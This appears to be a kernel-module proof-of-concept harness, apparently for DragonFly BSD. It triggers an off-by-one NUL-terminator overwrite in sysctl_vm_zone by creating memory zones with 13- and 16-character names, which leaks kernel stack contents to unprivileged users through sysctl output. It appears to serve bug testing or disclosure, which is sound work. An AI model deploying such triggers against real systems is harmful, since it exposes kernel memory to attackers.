/*
 * DF-2830 PoC harness: off-by-one NUL-terminator clobber in
 * sysctl_vm_zone() (sys/vm/vm_zone.c:834-841) -> stack OOB read.
 *
 * zname length >= 13 makes tmpname[len]=':' overwrite tmpname[13], the only
 * NUL of the 14-byte stack buffer; the subsequent ksnprintf("%s ...") then
 * reads past the end of tmpname until it finds a zero byte, copying stack
 * residue into the sysctl output that any unprivileged user can read.
 *
 * In-tree trigger: netbt's "rfcomm_credit" zone (exactly 13 chars), on
 * kernels built with `device bluetooth`. Here we create zones with 13- and
 * 16-char names to exercise the same path on the stock guest kernel.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <vm/vm_zone.h>

MALLOC_DEFINE(M_DF2830, "df2830", "DF-2830 zones");

static vm_zone_t zA, zB;

static int
df2830_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		zA = zinit("AAAAAAAAAAAAA", 64, 1, ZONE_DESTROYABLE);   /* 13 */
		zB = zinit("BBBBBBBBBBBBBBBB", 64, 1, ZONE_DESTROYABLE); /* 16 */
		kprintf("df2830: zones %p %p created; names len 13/16 "
			"(>= 13 triggers tmpname NUL clobber in sysctl_vm_zone)\n",
			zA, zB);
		if (zA == NULL || zB == NULL)
			return (ENOMEM);
		break;
	case MOD_UNLOAD:
		if (zA) zdestroy(zA);
		if (zB) zdestroy(zB);
		zA = zB = NULL;
		break;
	default:
		break;
	}
	return (0);
}

static moduledata_t df2830_mod = { "df2830", df2830_modevent, NULL };
DECLARE_MODULE(df2830, df2830_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
